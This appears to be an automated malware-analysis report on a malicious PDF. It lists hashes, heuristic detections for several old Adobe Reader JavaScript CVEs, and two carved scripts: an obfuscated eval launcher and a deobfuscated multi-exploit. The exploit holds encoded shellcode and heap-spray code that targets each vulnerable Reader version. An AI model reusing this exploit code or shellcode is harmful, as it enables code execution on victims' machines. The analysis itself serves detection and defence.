Malicious PDF — malware analysis report

Static analysis result for SHA-256 abf7670ebbd07abf…

MALICIOUS

PDF

25.4 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 8593c724af1ac432559cb5cb1441c2c0 SHA-1: 8f06399f614eeba7c040b10627b730eca62690b0 SHA-256: abf7670ebbd07abf7390061d6692969dae25eb18bb7fbd9cd68c0440c3bf8b06
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 Scripting: JavaScript

The PDF document contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript is obfuscated using String.fromCharCode, as suggested by the PDF_FROMCHARCODE heuristic. The embedded JavaScript file, javascript_obj0001_000.js, is likely intended to perform malicious actions, such as downloading a second-stage payload or exploiting a vulnerability, though its specific actions could not be fully determined due to obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 566 bytes
SHA-256: e26dd2c3d8f097aa11bf882344a2f0a2ed88d163bf14b00a106d1cc9700a445b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
symu='';
var q = date.getFullYear()-2007;
gtbay='2011s'.replace(date.getFullYear(),'hi');
nzw=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+gtbay+'[a]');
var yebur = g(nzw);
ahtly=('sub2011').replace(date.getFullYear(),'ject');
var moq=g(ahtly).replace(date.getFullYear(),'al');
cyp=g(moq);
hnoda='pro2011cer';
hnoda=cyp('hnoda.replace(date.getFullYear(),"du")');
ypau=cyp(g(hnoda));
hann = cyp(yebur);
for (i = 0; i < hann.length; i++) {
	yatpr = hann[i];
	symu += ypau(yatpr);
}
cyp(symu);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title arithmetic JavaScript at offset 0x2FF 3636 bytes
SHA-256: 8e8fdf202b9007b75b06c1971168ab4486dc72e30d0b5429d08ca8d06d80f8ea
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u3334%ue2aa%uc3fa%ue5e8%uffff%udaff%u323f%u3333%ub26d%u6fdf%u3332%uba33%ubed4%u237c%u5cbe%u0267%u64e8%u6062%u6060%u6060%u6060%u6066%u5b60%u3237%u3333%u6566%u5b60%u5d5c%u3333%u465b%u5f41%u675e%ubd5b%u3d7d%udbdf%u337b%u3333%udb63%u334f%u3333%ue3cc%uf7b0%u5b3b%udc7c%u367c%udb63%u335f%u3333%ue3cc%uf3b6%u2446%u6759%uc06a%u5b99%ucd41%u2580%u2edb%u3333%u6333%u62db%u3333%ucc33%u60e3%ucd59%uba5b%u325c%udb8e%u333b%u3333%udb63%u330f%u3333%ue3cc%u0253%u57f3%u63b8%ub803%u3f61%u61b8%ub827%u1b41%u2b8a%u3333%u0233%u02cc%u9ff3%u520f%u314f%u131f%ufcf2%u323e%ud1f4%ub2c3%u68cc%u798f%ub859%u2371%u21b8%uea46%u77ba%u2f17%uf052%ub853%u175f%ub817%u0f76%u67b8%u4b36%ud932%u79b8%ub82b%u1369%ud832%u07d0%ub87a%ub807%udd32%ucc02%uf302%u9fcf%uf3b7%u3447%ufcf2%u323e%ud8f4%u08c7%u174f%u461b%ub8d2%u1769%ud832%ub855%u783f%u69b8%u322f%ub8d8%ub837%udb32%u77ba%u2f17%uf152%u333b%udcdb%ucccd%u5bcc%u4747%u0943%u1c1c%u5d46%u5e51%u501d%u1d5c%u5050%u571c%u431d%u435b%u550c%u010e%u1505%u0e56%u3300';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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